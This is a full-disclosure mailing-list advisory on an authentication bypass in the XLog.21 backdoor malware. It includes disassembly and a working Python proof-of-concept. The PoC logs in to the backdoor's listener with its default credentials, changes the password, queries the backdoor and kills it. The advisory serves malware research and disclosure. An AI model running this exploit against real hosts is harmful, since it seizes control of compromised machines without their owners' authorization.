Date: Thu, 7 Apr 2022 00:18:34 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.XLog.21 / Authentication Bypass Race Condition

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/2906b5dc5132dd1319827415e837168f.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.XLog.21
Vulnerability: Authentication Bypass Race Condition
Description: The malware listens on TCP port 5553. Third-party attackers
who can reach the system before a password has been set can logon using
default credentials of noname/nopass and run commands made avail by the
backdoor including changing the password therby potentially locking out the
original intruder.

Incorrect username "victim|pass" we get
Received invalid name parameter!

Incorrect password "noname|pass" we get
Received incorrect password from client!

Sending correct noname|nopass creds we get no error. Next, we must send
valid cmds using correct pipe delimiter or we will get "Received invalid
parameter" errors.

 push    offset aCmdChangepass ; "cmd changepass"
004018EA                 mov     edx, [ebp+Str1]
004018ED                 push    edx             ; Str1
004018EE                 call    _strcmp
004018F3                 add     esp, 8
004018F6                 test    eax, eax
004018F8                 jnz     loc_4019A6
004018FE                 lea     eax, [ebp+Delimiter]
00401901                 push    eax             ; Delimiter
00401902                 push    0               ; String
00401904                 call    _strtok
00401909                 add     esp, 8
0040190C                 mov     [ebp+Str1], eax
0040190F                 cmp     [ebp+Str1], 0
00401913                 jnz     short loc_401930
00401915                 push    offset aReceivedInvali_4 ; "\r\nReceived
invalid parameter (NULL) f"...
0040191A                 mov     ecx, [ebp+s]
0040191D                 push    ecx             ; s
0040191E                 call    sub_4019D9

Family: XLog
Type: PE32
MD5: 2906b5dc5132dd1319827415e837168f
Vuln ID: MVID-2022-0543
Disclosure: 04/06/2022


Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=5553

def chk_res(s):
    res=""
    while True:
        res += s.recv(512)
        break
        if "\0" in res or "\n" in res or res == "":
            break
    return res

def doit():

    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    #Change the backdoors password so we PWN it!.
    PAYLOAD="noname|nopass|cmd:changepass|malvuln"
    s.send(PAYLOAD)
    time.sleep(0.5)

    #See whats the malware about
    PAYLOAD="noname|malvuln|cmd:about"
    s.send(PAYLOAD)
    time.sleep(0.5)
    print(chk_res(s))

    #Terminate the backdoor
    PAYLOAD="noname|malvuln|cmd:kill"
    s.send(PAYLOAD)
    time.sleep(0.5)
    print(chk_res(s))

    s.close()


if __name__=="__main__":
    doit()
    print("Malvuln")


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Powered by blists - more mailing lists